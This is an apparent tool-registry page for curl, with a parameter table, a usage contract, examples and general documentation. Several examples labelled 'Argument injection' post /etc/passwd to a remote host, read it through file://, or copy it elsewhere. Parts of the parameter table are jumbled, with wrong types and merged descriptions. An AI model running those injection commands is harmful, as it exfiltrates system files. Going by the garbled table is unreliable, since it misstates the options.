network enabled verified low v1.0.0

curl

Transfers data from or to a server using supported protocols (HTTP, HTTPS, FTP, SFTP, SCP, etc.).

📋 Live Preview
curl {abstract-unix-socket} {append} {aws-sigv4} {cert} {config}
๐Ÿ“Ž abstract-unix-socket ๐Ÿ“Ž append ๐Ÿ“Ž aws-sigv4 ๐Ÿ“Ž cert ๐Ÿ“Ž config
curl {abstract-unix-socket} {append} {aws-sigv4} {cert} {config}

Sandbox: execFile · Timeout: 60s

Capabilities

network.transfer.download
network.transfer.upload
network.http.api
network.http.fetch
network.http.inspect
system.file.read
system.file.write

Parameters

Name Type Required Default Description Aliases
abstract-unix-socket file No - --alt-svc <filename> Enable alt-svc with this cache file --anyauth Pick any authentication method --abstract-unix-socket <path>
append string No - Append to target file when uploading -a, --append
aws-sigv4 url No - --basic HTTP Basic Authentication --ca-native Load CA certs from the OS --cacert <file> CA certificate to verify peer against --capath <dir> CA directory to verify peer against --aws-sigv4 <provider1[:prvdr2[:reg[:srv]]]>
cert string No - --cert-status Verify server cert status OCSP-staple --cert-type <type> Certificate type (DER/PEM/ENG/PROV/P12) --ciphers <list> TLS 1.2 (1.1, 1.0) ciphers to use --compressed Request compressed res... -E, --cert <certificate[:password]>
config file No - Read config from a file -K, --config <file>
connect-timeout integer No - Maximum time allowed to connect --connect-timeout <seconds>
connect-to string No - Set the connect-to parameter --connect-to <HOST1:PORT1:HOST2:PORT2>
continue-at string No - Resumed transfer offset -C, --continue-at <offset>
cookie string No - Send cookies from string/load from file -b, --cookie <data|filename>
cookie-jar file No - Save cookies to <filename> after operation -c, --cookie-jar <filename>
create-dirs file No - Create necessary local directory hierarchy --create-dirs
create-file-mode string No - File mode for created files --create-file-mode <mode>
crlf string No - Convert LF to CRLF in upload --crlf
crlfile file No - Certificate Revocation list --crlfile <file>
curves array No - (EC) TLS key exchange algorithms to request --curves <list>
data url No - HTTP POST data -d, --data <data>
data-ascii url No - HTTP POST ASCII data --data-ascii <data>
data-binary url No - HTTP POST binary data --data-binary <data>
data-raw url No - HTTP POST data, '@' allowed --data-raw <data>
data-urlencode url No - HTTP POST data URL encoded --data-urlencode <data>
delegation integer No - GSS-API delegation permission --delegation <LEVEL>
digest url No - HTTP Digest Authentication --digest
disable string No - Disable .curlrc -q, --disable
disable-eprt string No - Inhibit using EPRT or LPRT --disable-eprt
disable-epsv string No - Inhibit using EPSV --disable-epsv
disallow-username-in-url string No - Disallow username in URL --disallow-username-in-url
dns-interface string No - Interface to use for DNS requests --dns-interface <interface>
dns-ipv4-addr string No - IPv4 address to use for DNS requests --dns-ipv4-addr <address>
dns-ipv6-addr string No - IPv6 address to use for DNS requests --dns-ipv6-addr <address>
dns-servers string No - DNS server addrs to use --dns-servers <addresses>
alt_svc boolean No - with this cache file --alt-svc, -svc
anyauth boolean No - Pick any authentication method --anyauth
ca_native boolean No - Load CA certs from the OS --ca-native
cacert boolean No - CA certificate to verify peer against --cacert
capath boolean No - CA directory to verify peer against --capath
cert_status boolean No - --cert-status, -staple
cert_type boolean No - Certificate type (DER/PEM/ENG/PROV/P12) --cert-type
ciphers boolean No - TLS 1.2 (1.1, 1.0) ciphers to use --ciphers
compressed boolean No - Request compressed response --compressed
compressed_ssh boolean No - Enable SSH compression --compressed-ssh
doh-cert-status string No - Verify DoH server cert status OCSP-staple --doh-cert-status
doh-insecure string No - Allow insecure DoH server connections --doh-insecure
doh-url url No - Resolve hostnames over DoH --doh-url <URL>
dump-ca-embed string No - Write the embedded CA bundle to standard output --dump-ca-embed
dump-header file No - Write the received headers to <filename> -D, --dump-header <filename>
ech file No - Configure ECH --ech <config>
egd-file file No - EGD socket path for random data --egd-file <file>
engine string No - Crypto engine to use --engine <name>
etag-compare file No - Load ETag from file --etag-compare <file>
etag-save file No - Parse incoming ETag and save to a file --etag-save <file>
expect100-timeout integer No - -c, --expect100-timeout <seconds>
fail url No - Fail fast with no output on HTTP errors -f, --fail
fail-early string No - Fail on first transfer error --fail-early
fail-with-body url No - Fail on HTTP errors but save the body --fail-with-body
false-start string No - Enable TLS False Start --false-start
follow string No - Follow redirects per spec --follow
form string No - Specify multipart MIME data -F, --form <name
form-escape string No - Escape form fields using backslash --form-escape
form-string string No - Specify multipart MIME data --form-string <name
ftp-account string No - Account data string --ftp-account <data>
ftp-alternative-to-user string No - --ftp-create-dirs Create the remote dirs if not present --ftp-method <method> Control CWD usage --ftp-pasv Send PASV/EPSV instead of PORT --ftp-alternative-to-user <command>
ftp-port string No - Send PORT instead of PASV -P, --ftp-port <address>
ftp-pret string No - Send PRET before PASV --ftp-pret
ftp-skip-pasv-ip string No - Skip the IP address for PASV --ftp-skip-pasv-ip
ftp-ssl-ccc string No - Send CCC after authenticating --ftp-ssl-ccc
ftp-ssl-ccc-mode string No - --ftp-ssl-control Require TLS for login, clear for transfer --ftp-ssl-ccc-mode <active/passive>
ftp_create_dirs boolean No - Create the remote dirs if not present --ftp-create-dirs
ftp_method boolean No - Control CWD usage --ftp-method
ftp_pasv boolean No - Send PASV/EPSV instead of PORT --ftp-pasv
ftp_ssl_control boolean No - Require TLS for login, clear for transfer --ftp-ssl-control
get url No - Put the post data in the URL and use GET -G, --get
globoff url No - Disable URL globbing with {} and [] -g, --globoff
happy-eyeballs-timeout-ms string No - --haproxy-clientip <ip> Set address in HAProxy PROXY --haproxy-protocol Send HAProxy PROXY protocol v1 header --happy-eyeballs-timeout-ms <ms>
haproxy_clientip boolean No - Set address in HAProxy PROXY --haproxy-clientip
haproxy_protocol boolean No - Send HAProxy PROXY protocol v1 header --haproxy-protocol
head string No - Show document info only -I, --head
header string No - Pass custom header(s) to server -H, --header <header/@file>
help string No - Get help for commands -h, --help <subject>
hostpubmd5 string No - Acceptable MD5 hash of host public key --hostpubmd5 <md5>
hostpubsha256 string No - Acceptable SHA256 hash of host public key --hostpubsha256 <sha256>
hsts string No - Enable HSTS with this cache file --hsts <filename>
http0 url No - Allow HTTP/0.9 responses --http0
http1 url No - Use HTTP/1.0 -0, --http1
http1-2 url No - Use HTTP/1.1 --http1
http2 url No - Use HTTP/2 --http2
http2-prior-knowledge url No - Use HTTP/2 without HTTP/1.1 Upgrade --http2-prior-knowledge
http3 url No - Use HTTP/3 --http3
http3-only url No - Use HTTP/3 only --http3-only
ignore-content-length string No - Ignore the size of the remote resource --ignore-content-length
insecure string No - Allow insecure server connections -k, --insecure
interface string No - Use network interface --interface <name>
ip-tos string No - Set IP Type of Service or Traffic Class --ip-tos <string>
ipfs-gateway url No - Gateway for IPFS --ipfs-gateway <URL>
ipv4 string No - Resolve names to IPv4 addresses -4, --ipv4
ipv6 string No - Resolve names to IPv6 addresses -6, --ipv6
json url No - HTTP POST JSON --json <data>
junk-session-cookies string No - Ignore session cookies read from file -j, --junk-session-cookies
keepalive-cnt integer No - Maximum number of keepalive probes --keepalive-cnt <integer>
keepalive-time integer No - Interval time for keepalive probes --keepalive-time <seconds>
key file No - Private key filename --key <key>
key-type string No - Private key file type (DER/PEM/ENG) --key-type <type>
knownhosts file No - Specify knownhosts path --knownhosts <file>
krb integer No - Enable Kerberos with security <level> --krb <level>
libcurl file No - Generate libcurl code for this command line --libcurl <file>
limit-rate string No - Limit transfer speed to RATE --limit-rate <speed>
list-only string No - List only mode -l, --list-only
local-port integer No - Use a local port number within RANGE --local-port <range>
location string No - Follow redirects -L, --location
location-trusted string No - As --location, but send secrets to other hosts --location-trusted
login-options string No - Server login options --login-options <options>
mail-auth string No - Originator address of the original email --mail-auth <address>
mail-from string No - Mail from this address --mail-from <address>
mail-rcpt string No - Mail to this address --mail-rcpt <address>
mail-rcpt-allowfails string No - Allow RCPT TO command to fail --mail-rcpt-allowfails
manual string No - Display the full manual -M, --manual
max-filesize integer No - Maximum file size to download --max-filesize <bytes>
max-redirs integer No - Maximum number of redirects allowed --max-redirs <num>
max-time integer No - Maximum time allowed for transfer -m, --max-time <seconds>
metalink string No - Process given URLs as metalink XML file --metalink
mptcp string No - Enable Multipath TCP --mptcp
negotiate url No - Use HTTP Negotiate (SPNEGO) authentication --negotiate
netrc string No - Must read .netrc for username and password -n, --netrc
netrc-file string No - Specify FILE for netrc --netrc-file <filename>
netrc-optional string No - Use either .netrc or URL --netrc-optional
next url No - Make next URL use separate options --next
no-alpn string No - Disable the ALPN TLS extension --no-alpn
no-buffer string No - Disable buffering of the output stream -N, --no-buffer
no-clobber string No - Do not overwrite files that already exist --no-clobber
no-keepalive string No - Disable TCP keepalive on the connection --no-keepalive
no-npn string No - Disable the NPN TLS extension --no-npn
no-progress-meter string No - Do not show the progress meter --no-progress-meter
no-sessionid string No - Disable SSL session-ID reusing --no-sessionid
noproxy array No - List of hosts which do not use proxy --noproxy <no-proxy-list>
ntlm url No - HTTP NTLM authentication --ntlm
ntlm-wb url No - HTTP NTLM authentication with winbind --ntlm-wb
oauth2-bearer string No - OAuth 2 Bearer Token --oauth2-bearer <token>
out-null string No - Discard response data into the void --out-null
output file No - Write to file instead of stdout -o, --output <file>
output-dir file No - Directory to save files in --output-dir <dir>
parallel string No - Perform transfers in parallel -Z, --parallel
parallel-immediate string No - Do not wait for multiplexing --parallel-immediate
parallel-max integer No - Maximum concurrency for parallel transfers --parallel-max <num>
parallel-max-host integer No - Maximum connections to a single host --parallel-max-host <num>
pass string No - Passphrase for the private key --pass <phrase>
path-as-is url No - Do not squash .. sequences in URL path --path-as-is
pinnedpubkey string No - Public key to verify peer against --pinnedpubkey <hashes>
post301 string No - Do not switch to GET after a 301 redirect --post301
post302 string No - Do not switch to GET after a 302 redirect --post302
post303 string No - Do not switch to GET after a 303 redirect --post303
preproxy string No - --preproxy <[protocol://]host[:port]>
progress-bar string No - Display transfer progress as a bar --progress-bar
proto string No - Enable/disable PROTOCOLS --proto <protocols>
proto-default url No - Use PROTOCOL for any URL missing a scheme --proto-default <protocol>
proto-redir string No - Enable/disable PROTOCOLS on redirect --proto-redir <protocols>
proxy url No - --proxy-anyauth Pick any proxy authentication method --proxy-basic Use Basic authentication on the proxy --proxy-ca-native Load CA certs from the OS to verify proxy --proxy-cacert <file> CA certificates to verify proxy against --proxy-capath <dir> CA directory to verify proxy against --proxy-cert <cert[:passwd]> Set client certificate for proxy --proxy-cert-type <type> Client certificate type for HTTPS proxy --proxy-ciphers <list> TLS 1.2 (1.1, 1.0) ciphers to use for proxy --proxy-crlfile <file> Set a CRL list for proxy --proxy-digest Digest auth with the proxy --proxy-header <header/@file> Pass custom header(s) to proxy --proxy-http2 Use HTTP/2 with HTTPS proxy --proxy-insecure Skip HTTPS proxy cert verification --proxy-key <key> Private key for HTTPS proxy --proxy-key-type <type> Private key file type for proxy --proxy-negotiate HTTP Negotiate (SPNEGO) auth with the proxy --proxy-ntlm NTLM authentication with the proxy --proxy-pass <phrase> Passphrase for private key for HTTPS proxy --proxy-pinnedpubkey <hashes> FILE/HASHES public key to verify proxy with --proxy-service-name <name> SPNEGO proxy service name --proxy-ssl-allow-beast Allow this security flaw for HTTPS proxy --proxy-ssl-auto-client-cert Auto client certificate for proxy --proxy-tls13-ciphers <list> TLS 1.3 proxy cipher suites --proxy-tlsauthtype <type> TLS authentication type for HTTPS proxy --proxy-tlspassword <string> TLS password for HTTPS proxy --proxy-tlsuser <name> TLS username for HTTPS proxy --proxy-tlsv1 TLSv1 for HTTPS proxy -x, --proxy <[protocol://]host[:port]>
proxy-user url No - --proxy1.0 <host[:port]> Use HTTP/1.0 proxy on given port -U, --proxy-user <user:password>
proxy1 boolean No - .0 <host[:port]> Use HTTP/1.0 proxy on given port --proxy1
proxy_anyauth boolean No - Pick any proxy authentication method --proxy-anyauth
proxy_basic boolean No - Use Basic authentication on the proxy --proxy-basic
proxy_ca_native boolean No - Load CA certs from the OS to verify proxy --proxy-ca-native
proxy_cacert boolean No - CA certificates to verify proxy against --proxy-cacert
proxy_capath boolean No - CA directory to verify proxy against --proxy-capath
proxy_cert boolean No - Set client certificate for proxy --proxy-cert
proxy_cert_type boolean No - Client certificate type for HTTPS proxy --proxy-cert-type
proxy_ciphers boolean No - TLS 1.2 (1.1, 1.0) ciphers to use for proxy --proxy-ciphers
proxy_crlfile boolean No - Set a CRL list for proxy --proxy-crlfile
proxy_digest boolean No - Digest auth with the proxy --proxy-digest
proxy_header boolean No - Pass custom header(s) to proxy --proxy-header
proxy_http2 boolean No - Use HTTP/2 with HTTPS proxy --proxy-http2
proxy_insecure boolean No - Skip HTTPS proxy cert verification --proxy-insecure
proxy_key boolean No - Private key for HTTPS proxy --proxy-key
proxy_key_type boolean No - Private key file type for proxy --proxy-key-type
proxy_negotiate boolean No - HTTP Negotiate (SPNEGO) auth with the proxy --proxy-negotiate
proxy_ntlm boolean No - NTLM authentication with the proxy --proxy-ntlm
proxy_pass boolean No - Passphrase for private key for HTTPS proxy --proxy-pass
proxy_pinnedpubkey boolean No - FILE/HASHES public key to verify proxy with --proxy-pinnedpubkey
proxy_service_name boolean No - SPNEGO proxy service name --proxy-service-name
proxy_ssl_allow_beast boolean No - Allow this security flaw for HTTPS proxy --proxy-ssl-allow-beast
proxy_ssl_auto_client_cert boolean No - Auto client certificate for proxy --proxy-ssl-auto-client-cert
proxy_tls13_ciphers boolean No - TLS 1.3 proxy cipher suites --proxy-tls13-ciphers
proxy_tlsauthtype boolean No - TLS authentication type for HTTPS proxy --proxy-tlsauthtype
proxy_tlspassword boolean No - TLS password for HTTPS proxy --proxy-tlspassword
proxy_tlsuser boolean No - TLS username for HTTPS proxy --proxy-tlsuser
proxy_tlsv1 boolean No - TLSv1 for HTTPS proxy --proxy-tlsv1
proxytunnel url No - HTTP proxy tunnel (using CONNECT) -p, --proxytunnel
pubkey file No - SSH Public key filename --pubkey <key>
quote string No - Send command(s) to server before transfer -Q, --quote <command>
random-file file No - File for reading random data from --random-file <file>
range integer No - Retrieve only the bytes within RANGE -r, --range <range>
rate string No - Request rate for serial transfers --rate <max request rate>
raw url No - Do HTTP raw; no transfer decoding --raw
referer url No - Referrer URL -e, --referer <URL>
remote-header-name file No - Use the header-provided filename -J, --remote-header-name
remote-name string No - Write output to file named as remote file -O, --remote-name
remote-name-all file No - Use the remote filename for all URLs --remote-name-all
remote-time string No - Set remote file's time on local output -R, --remote-time
remove-on-error file No - Remove output file on errors --remove-on-error
request string No - Specify request method to use -X, --request <method>
request-target file No - Specify the target for this request --request-target <path>
resolve number No - --retry <num> Retry request if transient problems occur --retry-all-errors Retry all errors (with --retry) --retry-connrefused Retry on connection refused (with --retry) --retry-delay <seconds> Wait time between retries --retry-max-time <seconds> Retry only within this period --sasl-authzid <identity> Identity for SASL PLAIN authentication --sasl-ir Initial response in SASL authentication --service-name <name> SPNEGO service name --resolve <[+]host:port:addr[,addr]...>
retry boolean No - Retry request if transient problems occur --retry
retry_all_errors boolean No - ) --retry-all-errors, --retry
retry_connrefused boolean No - ) --retry-connrefused, --retry
retry_delay boolean No - Wait time between retries --retry-delay
retry_max_time boolean No - Retry only within this period --retry-max-time
sasl_authzid boolean No - Identity for SASL PLAIN authentication --sasl-authzid
sasl_ir boolean No - Initial response in SASL authentication --sasl-ir
service_name boolean No - SPNEGO service name --service-name
show-error string No - Show error even when -s is used -S, --show-error
show-headers string No - Show response headers in output -i, --show-headers
sigalgs array No - TLS signature algorithms to use --sigalgs <list>
silent string No - Silent mode -s, --silent
skip-existing string No - Skip download if local file already exists --skip-existing
socks4 string No - SOCKS4 proxy on given host + port --socks4 <host[:port]>
socks4a string No - SOCKS4a proxy on given host + port --socks4a <host[:port]>
socks5 string No - SOCKS5 proxy on given host + port --socks5 <host[:port]>
socks5-basic string No - Username/password auth for SOCKS5 proxies --socks5-basic
socks5-gssapi string No - Enable GSS-API auth for SOCKS5 proxies --socks5-gssapi
socks5-gssapi-nec string No - Compatibility with NEC SOCKS5 server --socks5-gssapi-nec
socks5-gssapi-service string No - --socks5-hostname <host[:port]> SOCKS5 proxy, pass hostname to proxy -A, --socks5-gssapi-service <name>
socks5_hostname boolean No - SOCKS5 proxy, pass hostname to proxy --socks5-hostname
speed-limit string No - Stop transfers slower than this -Y, --speed-limit <speed>
speed-time integer No - Trigger 'speed-limit' abort after this time -y, --speed-time <seconds>
ssl string No - Try enabling TLS --ssl
ssl-allow-beast string No - Allow security flaw to improve interop --ssl-allow-beast
ssl-auto-client-cert string No - Use auto client certificate (Schannel) --ssl-auto-client-cert
ssl-no-revoke string No - Disable cert revocation checks (Schannel) --ssl-no-revoke
ssl-reqd string No - Require SSL/TLS --ssl-reqd
ssl-revoke-best-effort string No - Ignore missing cert CRL dist points --ssl-revoke-best-effort
ssl-sessions string No - --ssl-sessions <filename>
sslv2 string No - SSLv2 -2, --sslv2
sslv3 string No - SSLv3 -3, --sslv3
stderr file No - Where to redirect stderr --stderr <file>
styled-output url No - Enable styled output for HTTP headers --styled-output
suppress-connect-headers string No - Suppress proxy CONNECT response headers --suppress-connect-headers
tcp-fastopen string No - Use TCP Fast Open --tcp-fastopen
tcp-nodelay string No - Set TCP_NODELAY --tcp-nodelay
telnet-option string No - Set telnet option -t, --telnet-option <opt
tftp-blksize string No - Set TFTP BLKSIZE option --tftp-blksize <value>
tftp-no-options string No - Do not send any TFTP options --tftp-no-options
time-cond number No - Transfer based on a time condition -z, --time-cond <time>
tls-earlydata string No - Allow use of TLSv1.3 early data (0RTT) --tls-earlydata
tls-max string No - Maximum allowed TLS version --tls-max <VERSION>
tls13-ciphers array No - TLS 1.3 cipher suites to use --tls13-ciphers <list>
tlsauthtype string No - TLS authentication type --tlsauthtype <type>
tlspassword string No - TLS password --tlspassword <string>
tlsuser string No - TLS username --tlsuser <name>
tlsv1 string No - TLSv1.0 or greater -1, --tlsv1
tlsv1-2 string No - TLSv1.0 or greater --tlsv1
tlsv1-3 string No - TLSv1.1 or greater --tlsv1
tlsv1-4 string No - TLSv1.2 or greater --tlsv1
tlsv1-5 string No - TLSv1.3 or greater --tlsv1
tr-encoding string No - Request compressed transfer encoding --tr-encoding
trace file No - Write a debug trace to FILE --trace <file>
trace-ascii file No - Like --trace, but without hex output --trace-ascii <file>
trace-config string No - Details to log in trace/verbose output --trace-config <string>
trace-ids string No - Transfer + connection ids in verbose output --trace-ids
trace-time string No - Add time stamps to trace/verbose output --trace-time
unix-socket file No - Connect through this Unix domain socket --unix-socket <path>
upload-file file No - Transfer local FILE to destination -T, --upload-file <file>
upload-flags string No - IMAP upload behavior --upload-flags <flags>
url string No - URL(s) to work with --url <url/file>
url-query url No - Add a URL query part --url-query <data>
use-ascii string No - Use ASCII/text transfer -B, --use-ascii
user string No - Server user and password -u, --user <user:password>
user-agent string No - Send User-Agent <name> to server -A, --user-agent <name>
variable string No - --variable <[%]name
verbose string No - Make the operation more talkative -v, --verbose
version string No - Show version number and quit -V, --version
vlan-priority string No - Set VLAN priority --vlan-priority <priority>
write-out string No - Output FORMAT after completion -w, --write-out <format>
xattr string No - Store metadata in extended file attributes --xattr

Artifacts

TypeDescriptionMIMESchemaTrust
network.http.responseRaw HTTP response bodytext/plain-verified
network.http.headersHTTP response headerstext/plain-verified
network.transfer.fileFile downloaded from remote server--community

Contract

Inputs

network.target.url

Target URL for HTTP request

network.http.headers

Custom HTTP request headers

Outputs

network.http.response

HTTP response body

network.http.headers

HTTP response headers

Side effects: network_traffic

Workflow Edges

Produces

network.http.responsenetwork.http.headers

Consumes

network.target.urlnetwork.http.headers

Resource Profile

ResourceValue
CPUlow
Memory32 MB
Networkmedium
Disk I/Olow

Examples

Perform a simple GET request

curl https://api.example.com/endpoint

POST JSON data to an API

curl -X POST -H 'Content-Type: application/json' -d '{"key":"value"}' https://api.example.com/submit

Download a file with progress

curl -L -o file.zip https://example.com/file.zip

Inspect response headers only

curl -I https://example.com

Send a local file to a remote server in a POST request.

curl --data @/etc/passwd http://website.com/

Read local files by using the file:// schema.

curl file:///etc/passwd

Downloads a file to a destination.

curl http://website.com/ -o /tmp/

Argument injection: upload file: Send a local file to a remote server in a POST request.

curl --data @/etc/passwd http://website.com/

Argument injection: upload file: Send a local file to a remote server in a POST request.

curl -F 'var=@/etc/passwd' http://website.com/

Argument injection: upload file: Send a local file to a remote server in a POST request.

curl --upload-file /etc/passwd http://website.com/

Argument injection: read local file: Read local files by using the file:// schema.

curl file:///etc/passwd

Argument injection: download file: Downloads a file to a destination.

curl http://website.com/ -o /tmp/

Argument injection: write to local file: Uses file-read to effectively copy files.

curl file:///etc/passwd -o /tmp/

Download a file from a URL and save it with a specific name

curl -o filename.ext http://example.com/file.txt

Download a file from a URL and save it with the original filename

curl -O http://example.com/file.txt

Download a file and limit the download speed

curl --limit-rate 100K http://example.com/file.txt

Follow redirects if the URL has moved

curl -L http://example.com

Send POST data to a server

curl -d "name=value" http://example.com/resource

Send JSON data with a POST request

curl -H "Content-Type: application/json" -d '{"key":"value"}' http://example.com/resource

Include headers in the output

curl -i http://example.com

Display only the HTTP headers for a GET request

curl -I http://example.com

Send a request with a custom header

curl -H "Custom-Header: Value" http://example.com

Authenticate with a username and password

curl -u username:password http://example.com

Use a different request method like PUT or DELETE

curl -X PUT http://example.com/resource

Download multiple URLs in sequence

curl -O http://example.com/file1.txt -O http://example.com/file2.txt

Resume a failed or interrupted download

curl -C - -O http://example.com/largefile.zip

Transfer a file using FTP

curl -T localfile.txt ftp://ftp.example.com/upload/

Specify a proxy for the request

curl -x http://proxy-server:port http://example.com

Send data with the URL encoded format

curl --data-urlencode "key=value" http://example.com/resource

Save the response headers to a file

curl -D headers.txt http://example.com

Download a file and run it through a pipe (e.g., to `grep`)

curl http://example.com/file.txt | grep "search-string"

Documentation

curl โ€” Data Transfer Client

curl is a command-line tool for transferring data using URL syntax, supporting a wide range of protocols including HTTP, HTTPS, FTP, SFTP, SCP, LDAP, and more. It is one of the most widely used and versatile networking utilities available.

Core Concepts

curl operates on a simple principle: provide a URL and optional configuration flags, and it will transfer data to or from that endpoint. It supports every major authentication method, protocol variant, and data encoding scheme.

Request Methods

The HTTP method defines the type of operation curl performs:

Method Purpose Common Use Case
GET Retrieve data API queries, page downloads
POST Submit new data Form submissions, API writes
PUT Replace existing data Resource updates
DELETE Remove a resource API deletions
PATCH Partial resource modification Incremental updates
HEAD Retrieve headers only Link checking, metadata

Common Usage Patterns

API Testing

curl is the de facto standard for API testing from the command line:

# Authenticated API call with bearer token
curl -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIs..." \
     -H "Accept: application/json" \
     https://api.example.com/v1/users

# GraphQL query
curl -X POST \
  -H "Content-Type: application/json" \
  -d '{"query": "query { users { id name } }"}' \
  https://api.example.com/graphql

File Transfer

# Resume an interrupted download
curl -C - -o largefile.iso https://example.com/largefile.iso

# Upload a file via FTP
curl -T localfile.txt ftp://ftp.example.com/upload/

Debugging and Inspection

# Verbose output showing full request/response
curl -v https://example.com

# Trace with timing breakdown
curl -w "\nTime: %{time_total}s\n" https://example.com

Security Considerations

  • Use -k/--insecure only for testing; never in production scripts
  • Always verify SSL certificates in automated workflows
  • Be aware that -d data appears in process listings; use --data-urlencode for sensitive payloads
  • Prefer environment variables or .netrc files over inline credentials

Related Tools

  • wget โ€” Alternative download tool with recursive capabilities
  • httpie โ€” Human-friendly HTTP client with syntax highlighting
  • jq โ€” JSON processor for post-processing curl output

Related Tools

jqhttpiewgetnetwork-http-wget

References